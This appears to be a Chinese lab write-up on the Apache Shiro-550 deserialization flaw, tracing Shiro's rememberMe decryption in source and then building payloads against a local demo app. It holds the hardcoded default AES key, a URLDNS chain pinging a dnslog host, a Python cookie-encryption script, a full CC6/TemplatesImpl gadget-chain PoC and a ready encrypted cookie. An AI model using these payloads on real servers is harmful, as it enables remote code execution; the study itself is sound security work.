java安全-shiro 550漏洞

一、项目搭建

1.环境

1
2
3
4
jdk8u65

tomcat8.5.31
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/apache-tomcat-8.5.81-windows-x64.zip

项目为 P 神开源shiro项目

1
https://github.com/phith0n/JavaThings.git

git clone即可

2.搭建

idea加载shiro\JavaThings\shirodemo该项目

切换jdk版本

image-20260214112514774

配置tomcat服务器,设置打开

image-20260214112730589

配置项目工件

image-20260214112933722

配置项目设置

image-20260214113102011

tomcat中将工件添加

image-20260214113304806

然后点击右上角运行即可

二、shiro学习

shrio自动处理登录

具体流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──────────────────────────────────────────────────────────────────┐
│ Shiro 自动处理登录流程 │
└──────────────────────────────────────────────────────────────────┘

1. 用户访问 /login.jsp (GET)


┌─────────────────────────────────────┐
│ shiro.ini 配置: │
│ /login.jsp = authc │
│ │
│ authc = FormAuthenticationFilter │
│ (表单认证过滤器) │
└─────────────────────────────────────┘


2. 用户填写表单,点击 Sign in


3. 浏览器发送 POST /login.jsp

├── username=root
├── password=secret
└── rememberMe=on (如果勾选)


┌─────────────────────────────────────┐
│ FormAuthenticationFilter 自动: │
│ │
│ 1. 检测到是 POST 请求 │
│ 2. 自动读取 username 参数 │
│ 3. 自动读取 password 参数 │
│ 4. 自动读取 rememberMe 参数 │
│ 5. 调用 Shiro 进行认证 │
└─────────────────────────────────────┘


┌─────────────────────────────────────┐
│ Shiro 认证过程: │
│ │
│ 对比 shiro.ini 中的用户: │
│ root = secret,admin ← 匹配! │
│ guest = guest,guest │
└─────────────────────────────────────┘

├── 认证成功 → 跳转到首页 (index.jsp)

└── 认证失败 → 停留在 login.jsp,显示错误

1.shiro功能

身份认证

这是最基础的功能。用户在登录页面输入用户名和密码,Shiro 负责拿着这些信息去数据库(通过 Realm,你可以理解为保安手中的花名册)里比对。

  • 代码里长这样:

    1
    2
    3
    Subject currentUser = SecurityUtils.getSubject();
    UsernamePasswordToken token = new UsernamePasswordToken("xiaochuan", "123456");
    currentUser.login(token); // 这一行就在查户口

授权

用户登录成功了,但他是个普通员工还是管理员?

  • 场景:普通用户只能看“我的订单”,管理员能看“所有订单”和“删除订单”。
  • Shiro 会在代码里帮你做判断,比如 @RequiresRoles("admin"),如果用户没这个角色,Shiro 直接抛异常,不让你通过。

会话管理

  • Web 环境:通常用 Tomcat 自带的 Session。但 Shiro 自己实现了一套 Session 机制。
  • 牛在哪?:即使你的应用不是 Web 应用(比如是一个简单的 Java 命令行工具),Shiro 也能让你使用 Session!这在分布式系统中非常有用(比如把 Session 存到 Redis 里)。

加密

  • Shiro 提供了一套非常简单的加密工具,帮你做 MD5、SHA-256 哈希,或者 AES 加密(就是你最开始问的那个 Key 的用途)。它比 Java 原生的加密 API 好用太多了。

2.shiroJwt

Shiro RememberMe (传统 Cookie 模式)

  • 核心思想信任服务器
  • 做法:服务器把用户信息(Java 对象)打包、加密、扔给浏览器。浏览器只负责保管这串“乱码”,看不懂里面是啥。
  • 数据格式二进制(Java 序列化数据)。
  • 状态有状态 (Stateful)。服务器拿到 Cookie 后,通常还需要去数据库或内存(Session)里查一下这个用户现在的状态(有没有被封号)。

JWT (Token 模式)

  • 核心思想信任签名
  • 做法:服务器把用户信息写成 JSON(比如 {"user": "xiaochuan", "role": "admin"}),用密钥签个名,扔给浏览器。浏览器可以看到里面的内容(Base64 解码即可)。
  • 数据格式文本(JSON 字符串)。
  • 状态无状态 (Stateless)。服务器拿到 Token,算出签名对不对。如果对,就无条件信任里面的信息(甚至不需要查数据库)。
特性 Shiro RememberMe JWT (JSON Web Token)
致命漏洞 反序列化 RCE (远程代码执行) 算法缺陷 / 密钥泄露
攻击原理 黑客修改 Cookie 内容,服务器反序列化时执行了恶意代码。这是系统级的沦陷。 黑客修改 JSON 内容(比如把 role: user 改成 role: admin),如果密钥泄露或算法被篡改为 None,服务器就会信以为真。这是逻辑级的越权。
数据可见性 不可见(加密的)。黑客默认看不懂 Cookie 里存了啥。 可见(仅 Base64 编码)。黑客可以直接解码看到 Payload 里的用户信息。
密钥的作用 用于 AES 解密。不知道密钥就无法构造 Payload。 用于 HMAC 签名。不知道密钥就无法伪造合法的 Token。

3.shiro进行会话管理

普通的 Session ID

  • 场景:你登录后,没有关闭浏览器,一直在点击页面。
  • Cookie 名字:通常叫 JSESSIONID (Tomcat默认) 或 SID (Shiro默认)。
  • 内容是啥?它仅仅是一个随机字符串(乱码 ID),比如 1a2b3c4d...
  • 有没有加密?没有! 它不需要用那个 AES 密钥加密。它就是一个单纯的“门牌号”。
  • 原理
    1. 浏览器发来 JSESSIONID=1a2b3c
    2. Shiro/Tomcat 拿着这个号码去 内存(或 Redis) 里找。
    3. 找到了 -> 确认你是小川 -> 放行。
  • 场景:你勾选了“记住我”,然后关闭浏览器,第二天再来。
  • Cookie 名字:通常叫 rememberMe
  • 内容是串被加密的长字符串!
  • 原理
    1. 你登录时,Shiro 把你的用户信息(User对象) 序列化 -> AES加密 (用那个 Key) -> Base64 编码。
    2. 生成的这一大坨东西,塞给浏览器存着。
    3. 第二天你来了,浏览器把这一大坨东西发给服务器。
    4. 服务器用 Key 解密 -> 反序列化 -> 恢复出“你是小川”。
  • 风险只有这个 Cookie 才会导致反序列化漏洞(RCE)

三、shiro550

这里主要利用了会话管理的第二种方式记住我 Cookie

image-20260214151122620

这一串字符将会在没有sessionId时作为凭据可以获取sessionId,因为自然登录时存储的sessionId只是会话时的,只有当前浏览器会话使用,关闭浏览器即销毁,而这个rememberMe字串可以在没有sessionId时进行登录功能实现,原意是好的,但是服务器在解析rememberMe字串时,会反序列化其,获取用户信息,这就导致了反序列化链条的使用!

但Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里这也就导致了Shiro-550

1.服务端解密过程

  • 加密密钥key配置过程

    org/apache/shiro/mgt/AbstractRememberMeManager.javaAbstractRememberMeManager构造方法,为decryptionCipherKey赋值定值DEFAULT_CIPHER_KEY_BYTES

    image-20260214174133035 image-20260214173841447

解密全过程

入口:AbstractShiroFilter

当一个请求(比如访问首页 /index)到达 Tomcat 时,首先会被 Shiro 的过滤器拦截

1
2
3
4
5
6
7
8
// AbstractShiroFilter.java
protected void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain) {
// 1. 对于每个请求,Shiro 都要创建一个 Subject 对象(代表当前用户)
final Subject subject = createSubject(request, response);

// 2. 继续后续处理...
subject.execute(new Callable() { ... });
}

委托给 SecurityManager

中间人:WebSubject.Builder

过滤器不知道怎么创建用户,它委托给 SecurityManager

1
2
3
4
5
// Subject.Builder.java
public Subject buildSubject() {
// 调用 SecurityManager 来创建 Subject
return this.securityManager.createSubject(this.subjectContext);
}

image-20260214175326228

尝试解析身份

核心大脑:DefaultSecurityManager

这是最关键的一步!SecurityManager 需要决定这个用户是谁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// DefaultSecurityManager.java
public Subject createSubject(SubjectContext subjectContext) {

context = resolveSession(context);
//1.这里先进行检测session,获取context


// 2. 尝试解析 Principals(身份信息,比如用户名)
SubjectContext context = resolvePrincipals(subjectContext);
// ... 创建 Subject 实例 ...
}

protected SubjectContext resolvePrincipals(SubjectContext context) {
// A. 先去 Session 里找(如果是已登录用户)
PrincipalCollection principals = getPrincipals(context);

// B. 如果 Session 里没找到(principals 为空),说明可能是“记住我”的用户
if (principals == null || principals.isEmpty()) {
// !!! 关键点来了 !!!
// 调用 RememberMeManager 去检查 Cookie
principals = getRememberedIdentity(context);

// 如果找到了,这就把身份填进去
if (principals != null) {
context.setPrincipals(principals);
context.setAuthenticated(false); // 注意:记住我登录不算“已认证”
}
}
return context;
}

image-20260214175448562

接着调用AbstractRememberMeManagergetRememberedIdentity

DefaultSecurityManager 里的 getRememberedIdentity 方法,实际上就是调用了配置的 rememberMeManager

1
2
3
4
5
6
7
8
9
10
// DefaultSecurityManager.java
public PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberedIdentity(subjectContext);
if (rmm != null) {
// 这里的 rmm 就是 CookieRememberMeManager
// 最终走到了你问的那行代码!
return rmm.getRememberedPrincipals(subjectContext);
}
return null;
}

image-20260214182437392

接着org/apache/shiro/mgt/AbstractRememberMeManager.javagetRememberedPrincipals方法

image-20260214183036352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
getRememberedSerializedIdentity

String base64 = getCookie().readValue(request, response);
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;

解密字符串

image-20260214184112084

先解密后反序列化

decrypt

image-20260214184439874

底层解密实现

org/apache/shiro/crypto/JcaCipherService.java#decrypt这个是具体的解密算法

这里是解密的核心细节。服务器必须知道前16个字节是 IV,剩下的才是密文,否则无法解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// JcaCipherService.java

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;

// 默认是 true,表示密文中包含 IV
boolean prependIv = isGenerateInitializationVectors(false);

byte[] iv = null;
if (prependIv) {
// 1. 获取 IV 的长度,AES 默认 128 bit = 16 bytes
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / 8;

// 2. 提取前 16 字节作为 IV
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

// 3. 剩下的字节作为真正的密文
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
}

// 4. 执行 AES 解密
return decrypt(encrypted, key, iv);
}

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
// Cipher.getInstance("AES/CBC/PKCS5Padding");
// cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
// return cipher.doFinal(ciphertext);
// ... 这一步如果 Key 对不上,或者 IV 对不上,Padding 就会报错,抛出异常
}

deserialize

org/apache/shiro/io/DefaultSerializer#deserialize

image-20260214185518307

在这里调用了readObject方法,作为我们漏洞的调用类

2.加密过程

入口省略,直接从开始加密追踪

org/apache/shiro/mgt/AbstractRememberMeManager#onSuccessfulLogin

rememberIdentity 方法

org/apache/shiro/mgt/AbstractRememberMeManager#rememberIdentity

image-20260214192642625

第一个方法返回用户名补全属性

image-20260214192742295

第二个重构调用

image-20260214192844565

**这里接着调用解密方法 convertPrincipalsToBytes **

image-20260214191758654

这里的加密方法与之前解密如出一辙

org/apache/shiro/mgt/AbstractRememberMeManager#convertPrincipalsToBytes

image-20260214191917719

序列化方法如下图

image-20260214193032964

加密过程

依旧是嵌套方法

image-20260214193516057

这个key值依旧是定值

image-20260214193611809

深度加密,构造vi

image-20260214193727251

长度为16

自此逻辑结束

四、payload构造

1.URLDNS

构造DNSLOG链条

1
2
3
4
5
6
7
8
9
10
11
12
13
//反射获取URL类的hashCode字段
Class URLClass = Class.forName("java.net.URL");
Field hashCode = URLClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);

Map<URL,Integer> map = new HashMap<>();
URL url = new URL("https://62k5gt.dnslog.cn");
//将hashCode字段值设置为1234,从而不会触发put时的hashCode计算
hashCode.set(url,1234);
map.put(url,1);
//put完成之后设置其值为-1,从而导致之后反序列化时触发hashCode计算
hashCode.set(url,-1);
serialize(map);

对生成后的字节码文件加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
import base64
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# Shiro 默认的硬编码 Key (Shiro 1.2.4 及以下版本)
# 如果是其他环境,请替换为你通过工具爆破出的 Key
DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="


def shiro_encrypt(file_path, key_base64):
"""
读取序列化文件并进行 Shiro 格式的加密
"""
try:
# 1. 读取序列化后的对象数据 (ysoserial 生成的 .ser 文件)
with open(file_path, 'rb') as f:
payload = f.read()

print(f"[+] 成功读取文件: {file_path} ({len(payload)} bytes)")

# 2. 解码 Key
key = base64.b64decode(key_base64)

# 3. 生成随机 IV (Initialization Vector), 长度 16 字节
iv = os.urandom(16)

# 4. 初始化 AES Cipher (CBC 模式)
cipher = AES.new(key, AES.MODE_CBC, iv)

# 5. 进行 PKCS7 填充并加密
# AES 块大小通常为 16 字节 (128位)
encrypted_payload = cipher.encrypt(pad(payload, AES.block_size))

# 6. 拼接: Shiro 规定 IV 必须放在密文的最前面
final_data = iv + encrypted_payload

# 7. Base64 编码作为 Cookie 值
cookie_value = base64.b64encode(final_data).decode('utf-8')

return cookie_value

except Exception as e:
print(f"[-] 发生错误: {e}")
return None


if __name__ == '__main__':
# 使用示例
# 假设你已经用 ysoserial 生成了 payload:
# java -jar ysoserial.jar CommonsCollections6 "calc" > payload.ser

target_file = "chuan.txt" # 你的序列化文件路径
target_key = DEFAULT_KEY # 你的 Key

# 为了演示,如果文件不存在,我们创建一个假的 payload
if not os.path.exists(target_file):
print(f"[*] 未找到 {target_file},生成测试数据...")
with open(target_file, 'wb') as f:
f.write(b'This is just a test payload for demonstration')

print("-" * 50)
print(f"[*] 使用 Key: {target_key}")
print("-" * 50)

cookie = shiro_encrypt(target_file, target_key)

if cookie:
print("\n[+] 生成的 rememberMe Cookie 值:\n")
print(cookie)
print("\n" + "-" * 50)
print("[*] 使用方法: 在 HTTP 请求头中添加 -> Cookie: rememberMe=" + cookie)

image-20260214205159209

将字串替换remember字段

image-20260214205603834

注意这里需要将原本的JsessionId删除,以是服务器解析我们的恶意类

image-20260214205037630

2.CC6 优化链

直接是用CC6发送服务端会报错

原因是

如果在shiro反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误,因此CC6原版报废

为了构造一个不含数组的CC链,尝试优化,创造出了CC11

在前面学习工程中,我们发现CC6LazyMap.get方法会调用传进来的参数key,结合之前提到的利用TemplatesImpl加载外部类的静态代码块,尝试构造一个没有数组的链

TemplatesImpl自身链

1
2
3
4
5
6
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

结合CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer chuan0 = new InvokerTransformer("newTransformer",null,null);

Transformer chuan0000 =new ConstantTransformer(1);


HashMap map = new HashMap();
Map lazyMap = LazyMap.lazyMap(map,chuan0000);
TiedMapEntry foo = new TiedMapEntry(lazyMap, obj);
//在这里构造的时候直接将恶意类构造,从而在调用LazyMap.get方法时,将其传入

HashMap obj2 = new HashMap();
obj2.put(foo, "bar");

Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chuan0);

map.clear();
//这里直接清除

最终执行的便是obj.newTransformer()方法

然后将字节码文件对称加密

1
2
dUURvW2Pch5R9zB1qjF6IvCj7MysXok8FG3uXoN7LOCnijTFzDjI35fN8XmIm8pvGUm7zKoDaDG9LTs78oJ2P3mihMOWrYbLCrgk3ZyEhegq3hBqjZLE6QMF5VCLMf2TEK0DqotBopmyA0UNBYvU+5l1FW0H6Ka3aaX9UwzxLi8G+LqdewVkqkqi0LEvxwvPEsDEmOcAncQ0FUD04oc2zSul4O2IhREmnHD/+e2xa+rHOc7JoFlzx/NPe83EfEAWswd80ShnIFZl+iqQ4f4bLvntAEYX08P1SvfxjJZdzSSxI9cTu+VIufcU9UA0IZjtgWsebflxbgHZoyFcXMWt/nHTgAKrTR5S63lXS/YJnqdraNKMKYxqXtNFlmW9+v1Zyer6tPzUV4VDbmW07ZgAWvt3cf2QWt14BSRrjmc9nDn6mMdvI+llSYjm5b6PPvU6fWBDCBoBdc+oqfGcrpDCY9OVSpRKiQaRrepBJHC/nco9jPI62Lw6fJDtErS3nrZalJkyEafaWx4KdfDnz4oyDc7tbMV3pwpAI1QHCa60T5jA2v39JZx5q/wwy/zwpsXbT6TfEeWmNrgArEIneQWuNu83g4LIMGiEPZ/qzoL1+54Jlm3mJF4FOfMM4H7lZjUdtOXgBNCfpB8+ADRaO3x6YD43e7OgNXwmV9bQbF/CeAGXqKxyF+zZq7UXLELQe9EK9hVg7bG9eEkt95jizzC7KHRLFR7JG3B709NbMRw+0BnDNfWOzK4/o/Q8blml+3P/3N4E/3Z6slVB2TV1OJKDcw8F3NmNzIjGUT8sAKzyWfdR86L6a9/sZSz2CMNL2jIz99YiAcfTJznkstDsNyoP+BBmsuF3EA/bkR6+6xvC5bLX/1b8rnem6tT9p7kz0bHqt8dgMSVvk/sTqxRlZEmVnnODsZi7hZllBDY6udHVTFc5sWgBMoAejOVm5fAfnzlndkcC5mK4j8TqGCvdsO6V+EjUElgNaj4t3xCrBpaWj5MTMkp25bvyCN72xVN0noa+jUPSmtae3RdJiGiJcObTXDY0+wXJaQhDhARKwAXBnkdzSDPa8UeDW11oOikDQWkjT/02Jxp5Fd52F4FPp4tjbs+jvcNNo80AOCNPSusayQZxFxZelRcZmKXnRues7O4CK6Pr2Xl+0qWNTnKhUSPqdudeZJKa0z5W1RN7d8LNSMcFAlBDehh4/Xjw9nn49T4lNm4/gUD8d169bXwxJf0478r+5qCSEzYgF43Vdk7ixHG3EiwFhf2dSqfz3eApdqy3rgwxh4mcK8EvEJzicb6ao1UnApb4fhUlJkDuX9xHH2jB/tn1/PyS5TYRFpf+ejT3XGsvZp8HBJI8UlKFYjJ7azkCnwbqTvHRfcRYaoB0M4YpqCp+7HVPN9tn0GAhD0VVKhy5Ux8LVEDwWXkfF4rWWfvaBZwPjfgC2JnuXxoDcCQ2Npu3jl2GXv6kUustgdKwhgVwRThYEtUdhVr8sAJRDV336WflPuzVfSNMkdsQdCpEo07bX9gaHqbCsaVmbbyLTYKV4cy2kVtFqvXzU9bdmcugSqZKh2uZ7kvQwNG/RYd3rfA/nPpoBst8g8EOGm/03TTu9e9Z6hZ+Q2ouOXvj9PH9bkVtuhgym25eU+WxrizplTOCFzxdT8FqbZhp+A7vbOz2Mq9LC9UDRU45xG4KhP5Tf73wUgbXDO/lxgWmmK+551Tq6mU9udBRobg8MDTo4Q9i3fr1VvtOW+5WC3nXKqcJ70gGiVWnU91gaDvextXdqhkPj1L10iH3M3aoAMHTKGvAxET2eF9XFSEjvnFIUgF4M8POYjSwoPx6wnPowhqoEnmD8rDUvLYv1F5DmbTngwZ7Y8LEV173Jg7oFRLPYm1T3HvwWLSNdkCvyiy5z7h7BHuSeaR4c8VUQpFhcOSogv5QkRdYru1ioqsFmbksxrNDxQaY7MU84xZ4BfgmEUmDtXVStewHcqiMw3BhUecq2TgC6SlJfEqAFZwXYpUCSPJZ60/1dTMzn16785UyeTn1e9W4x99PZpvmjVkWD3BKUmsipB5fr7ubAv67aVdqBiVe/E1CIx3Vb/mPCc4UHOWxka2FRFis1yFXaLeLRnut4mfAvFXnHhsc+OaGLfFAIxqmnCLVXKqN4EiXKt0zLaQoH5zIuLed1B1gYlN+Lv5/hkv6fYNrfyvgsMHMjMLQ9cNWROhLFu9SoYoImx85JTJWMgQWWi2dWpfH9KmnH2nxBzrndNt/TlNMqA7Vcf5GpLP2IpdRuSv/dfBl57/TTetVAb+syMMHOTTRUZJ5ZT3zwrtuS0rwvAaprsGPpTnMmxxfN3odymVWDoAPa/7FBaCnIFYSCjzBZL6kxOBdv1rvpOaaTbodNvRwZdPGSlmgCAx0myVoiWsrNidkyfYEkkV2jUul8X4+SfiFLd32oae8iAcz/EqaVqZjQUXBk5hu5R5ThnZ6G6J8D+4RK/tqAK0t/OQR8wEH/YwoNxH9xRBaNLHI+rqX2f0jm1qz61fnuljsG+OrIcVCS9ty6wbnxX6Po3bAwmy/+qeFO0/yyFIlCmMn+BUKFs0Hl8kQHHcVME8Z20bd87/ysCE3sNRTvO/NV2M0U44/Vi9coyXevcTkDzSSE8AYn+Xb3d7JV3WEx+IPrylp9H1g0jjapJjLN2DfaJESuwG3XkTIO2IrbB18yYJctTTCjexXPt3haWnyV3fhr4pXRBFLYIfEqgCMIPiHiTriD+R6k/u2RK79KhtxjPDuIelk0eW9Vgi7oabztDTw+xLWd781ssHQa3xjtZ2950tRqYCWxY/ryEW3EvRgs59+bVkayjgEOR9SqJCZhZUIECoxVtigm60y0drPAkGTHuoFiE8YmxWP+W2gGzfHYCLvyXQiT0bxWJV44+1Rb4x18UQbua+rgsVYEYnf+i+IxtOwNyoo9W/by/kImmBJ0LoSn8Zny3fyTbwQwW9q0XRd3ya75D8jiB4A8uwjOtdgyo7qP+ryU0y1GUP6gbVFONEHWUddic6sPnBLLg1311NoyxHXlUDiOlVyU3us6+mau3+bsYM8CcxNHYtCWp2CZJQ8X+sz/Imn2ey8wks0T+1lC4SATwNXZThLXVXUdj1U38aNWS1LY0XGz/Xd67b5vRlyQIHcIq320/UvEOTIFaUNWkCyRkqC8WUIlPOBTrNmmwQklKfCXgA4iIDtvRJce5LEShbfHYnc4icrOd+g7g==

修改rememberme字段发送

注意 commons collections 版本为3.2.1 JDK版本 以及序列化文件及时替换

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//TemplatesImpl恶意类构造
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer chuan0 = new InvokerTransformer("newTransformer",null,null);

Transformer chuan0000 =new ConstantTransformer(1);


HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chuan0000);
TiedMapEntry foo = new TiedMapEntry(lazyMap, obj);
HashMap obj2 = new HashMap();
obj2.put(foo, "bar");

Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chuan0);
map.clear();
serialize(obj2);
unserialize();
image-20260214223415383

CC6链也叫做CC11,好用的原因主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些,而且也可以完美的适用于 shiro 漏洞

Shiro不是遇到Tomcat就一定会有数组这个问题

Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了

3.shiro数组问题

ClassResolvingObjectInputStream

普通的 Java 反序列化使用 ObjectInputStream,它在读取类名并加载类时,会调用 resolveClass 方法。

Shiro 为了适配不同的 Web 容器(比如 Tomcat, Jetty)和复杂的 ClassLoader 环境,认为原生的 resolveClass 不够用,于是自己继承并重写了这个类,叫做 org.apache.shiro.io.ClassResolvingObjectInputStream

Shiro 1.2.4 中,它的 resolveClass 逻辑大概是这样的:

1
2
3
4
5
6
7
8
9
// Shiro 1.2.4 的实现
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
// 关键点:它使用 ClassUtils.forName 来加载类
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
  • 正常java逻辑为

    image-20260215201747984

    使用Class.forName("[Ljava.lang.String;")加载

ClassUtils.forName(osc.getName())的具体逻辑是

image-20260215201241894

遇到一个致命缺陷:ClassLoader.loadClass 不认识数组

问题的根源转移到了 ClassUtils.forName() 里面。

  1. Java 的原生机制

    • Class.forName("[Ljava.lang.String;")可以加载 String 数组。
    • ClassLoader.loadClass("[Ljava.lang.String;")不可以加载数组,会直接抛出 ClassNotFoundException
  2. Shiro 1.2.4 的 bug

    Shiro 的 ClassUtils.forName 最终逻辑是获取当前的 ClassLoader,然后直接调用 loadClass(name)

    当反序列化流中出现一个数组类型(比如 [Lorg.apache.commons.collections.Transformer;)时:

    1. Shiro 拿到类名:[Lorg.apache.commons.collections.Transformer;
    2. Shiro 调用 loader.loadClass("[Lorg.apache.commons.collections.Transformer;")
    3. loadClass 懵了,它不懂这个 [ 开头的语法,直接报错。
    4. 反序列化中断,Exploit 失败。

总结: Shiro 1.2.4 的类加载器封装过于简单,直接把数组的底层签名(Signature)丢给了不懂数组签名的 loadClass 方法。

4.fornameloadclass

Class.forName("[Ljava.lang.String;")

Class.forName 是一个静态方法。当你调用它时,它实际上是在调用一个 Native(本地)方法

1
2
3
4
5
6
7
8
@CallerSensitive
public static Class<?> forName(String className) throws ClassNotFoundException {
// 最终调用的是这个 native 方法
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

// JVM 内部实现的 C++ 代码逻辑(Hotspot)
private static native Class<?> forName0(...)

它能加载数组

这个 Native 方法直接对接 JVM 核心。

  1. 解析语法:JVM 内部的 C++ 代码会解析传入的字符串。
  2. 识别数组:当它看到开头是 [ 时,JVM 明白:“哦,你要的是一个数组”。
  3. 动态生成:数组类在 Java 中不存在对应的 .class 文件,它们是由 JVM 在运行时动态生成的。
  4. 递归加载:JVM 会解析出数组的元素类型(比如 Ljava.lang.String; 去掉 L; 变成 java.lang.String),然后加载这个元素类,最后组装成一个数组类返回。

结论Class.forName 是为了“解析并获取类对象”设计的,它懂得 Java 所有的类型语法(包括数组)。

ClassUtils.forName(osc.getName())加载具体逻辑

image-20260215201241894

作用是根据类名(全限定名)加载并返回对应的 Class 对象

它采用了一种**“三级跳”的加载策略**,目的是为了在复杂的 Java 环境(如 Web 容器、OSGi、多线程环境)中尽可能成功地找到类。

“三级加载”逻辑

这个方法按顺序尝试使用三个不同的 ClassLoader(类加载器)来加载类,一旦加载成功立即返回,只有当三个都失败时才抛出异常。

第一步:尝试线程上下文类加载器 (Thread Context ClassLoader)

1
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
  • 逻辑:首先尝试从当前线程的上下文中获取类加载器来加载。
  • 原因:这是最常用的方式,尤其是在 Web 容器(如 Tomcat)或框架(如 Spring)中。主线程通常被设置了能看到 Web 应用 /WEB-INF/lib 下所有类的加载器。如果这个加载器找不到,说明该类可能不在应用层级。

第二步:尝试当前类加载器 (Current ClassLoader)

1
2
3
4
if (clazz == null) {
// ... 日志记录 ...
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
  • 逻辑:如果第一步失败,使用加载了 ClassUtils 这个类本身的加载器。
  • 原因:这通常是加载 Shiro 核心库的加载器。在某些环境中(如 OSGi),线程上下文加载器可能为空或受限,但 Shiro 自身所在的类加载器一定存在且能看到 Shiro 相关的类。

第三步:尝试系统/应用类加载器 (System/Application ClassLoader)

1
2
3
4
if (clazz == null) {
// ... 日志记录 ...
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
  • 逻辑:最后尝试 ClassLoader.getSystemClassLoader()
  • 原因:这是保底操作,对应 CLASSPATH 环境变量下的类。如果前两个都找不到,可能是 JDK 自带的类或者是环境配置极其基础的类。

如果三者都返回 null(或者抛出异常被 Accessor 捕获返回 null),则抛出 UnknownClassException

尝试加载Tranformer数组时,他是web容器下打包的java文件,当然会由第一种类加载器加载

具体逻辑如下

THREAD_CL_ACCESSOR本质是ExceptionIgnoringAccessor

image-20260215205906753

接着是ParallelWebappClassLoader类加载器

image-20260215210231363

也就是 tomcat 类加载逻辑的最底层类加载器

  • 这里强制步入出问题的话需要到maven里配置tomcat核心包

    1
    2
    3
    4
    5
    6
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.81</version>
    <scope>provided</scope>
    </dependency>

    原因是 Maven 列表里没有 Tomcat,因为你的项目本身不需要 Tomcat 的代码就能编译通过你只依赖了 javax.servlet-api 接口

    但点击“运行/调试”时,IntelliJ IDEA 会启动一个外部的 Tomcat 服务器来运行代码,记得下载源代码

org/apache/catalina/loader/WebappClassLoaderBase#loadClass

image-20260215212044656

接着进入tomcat核心类加载流程

org/apache/catalina/loader/WebappClassLoaderBase#loadClass

image-20260215221850008

这个的具体流程如下

image-20260215222227635
1
2
3
4
5
delegate:如果你在 server.xml 或 context.xml 中配置了 <Loader delegate="true"/>,那么这里为 true,Tomcat 就会退化成标准的双亲委派模式(极少这样配置)。

filter(name, true):关键点! Tomcat 有一份“黑名单”(package triggers),包含 javax.*, org.apache.tomcat.* 等包名。

如果类名匹配这些包(比如 javax.servlet.Servlet),必须强制委托给父加载器加载,不能让 Web 应用自己加载。这是为了保证 Servlet API 的统一性。

第一阶段:尝试委托给父加载器

1
2
3
4
5
6
// (1) Delegate to our parent if requested
if (delegateLoad) {
// ...
clazz = Class.forName(name, false, parent);
// ...
}
  • 逻辑:如果开启了 delegate 或者是属于 javax.* 等受保护的包,立刻让父加载器(CommonClassLoader)去加载。
  • 注意:对于普通的业务类(如 com.mycompany.MyService),delegateLoad 通常是 false,这段代码不会执行

第二阶段:Web 应用自己加载—— 核心差异点

1
2
3
4
5
6
7
8
9
// (2) Search local repositories
if (log.isDebugEnabled()) {
